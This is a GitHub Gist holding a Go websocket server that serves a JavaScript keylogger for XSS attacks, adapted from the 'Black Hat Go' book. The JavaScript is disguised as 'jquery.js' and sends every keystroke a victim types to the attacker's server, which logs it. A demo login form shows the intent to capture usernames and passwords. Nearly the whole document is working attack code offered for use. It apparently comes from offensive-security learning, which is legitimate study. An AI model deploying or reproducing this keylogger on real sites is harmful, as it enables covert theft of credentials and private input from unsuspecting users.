Skip to content

Instantly share code, notes, and snippets.

@dorneanu
Last active September 27, 2023 16:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dorneanu/02c9c5bb83e881e7ad2c1e93c7c2fd24 to your computer and use it in GitHub Desktop.
Save dorneanu/02c9c5bb83e881e7ad2c1e93c7c2fd24 to your computer and use it in GitHub Desktop.
Simple JS keylogger (can be used in XSS) in combination with a websocket server in Golang. Adapted from the example in the "Black Hat Go" book.
package main
import (
"flag"
"fmt"
"html/template"
"log"
"net/http"
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
)
// Some global variables
var (
upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}
listenAddr string
jsTemplate *template.Template
htmlTemplate *template.Template
)
// init gets executed before main
func init() {
flag.StringVar(&listenAddr, "listen-addr", "", "Adddress to listen on")
flag.Parse()
log.Print("Listen-Addr: " + listenAddr)
// Set javascript template
// This script will act as a keylogger and send every key stroke
// to a websocket.
jsTemplate = template.Must(template.New("js").Parse(`
(function() {
var conn = new WebSocket("ws://{{.}}/websocket");
document.onkeypress = keypress;
function keypress(evt) {
s = String.fromCharCode(evt.which);
conn.send(s);
}
})();
`))
htmlTemplate = template.Must(template.New("html").Parse(`
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
</head>
<body>
<script src="http://{{.}}/jquery.js"></script>
<form action="/login" method="post">
<input name="username"/>
<input name="password"/>
<input type="submit"/>
</form>
</body>
</html>
`))
}
func index(w http.ResponseWriter, r *http.Request) {
// Return html template and replace {{.}} by listen addr in the template
htmlTemplate.Execute(w, listenAddr)
}
// serveWebSocket will receive data from the JS keylogger
func serveWebSocket(w http.ResponseWriter, r *http.Request) {
// Update HTTP connection to websocket
c, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Print("upgrade:", err)
return
}
defer c.Close()
fmt.Printf("Connection from %s\n", c.RemoteAddr().String())
// In an infinite loop receive messages and print them to stdout
for {
_, msg, err := c.ReadMessage()
if err != nil {
return
}
fmt.Printf("From %s: %s\n", c.RemoteAddr().String(), string(msg))
}
}
// serveJavaScript returns the javascript code specified in jsTemplate
func serveJavaScript(w http.ResponseWriter, req *http.Request) {
log.Print("Serving Javascript content")
w.Header().Set("Content-Type", "application/javascript")
// Replace {{.}} by websocket's address in jsTemplate and write
// generated string to http.ResponseWriter
jsTemplate.Execute(w, listenAddr)
}
func main() {
// Create router
r := mux.NewRouter()
r.HandleFunc("/", index)
r.HandleFunc("/websocket", serveWebSocket)
r.HandleFunc("/jquery.js", serveJavaScript)
log.Fatal(http.ListenAndServe(":1337", r))
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment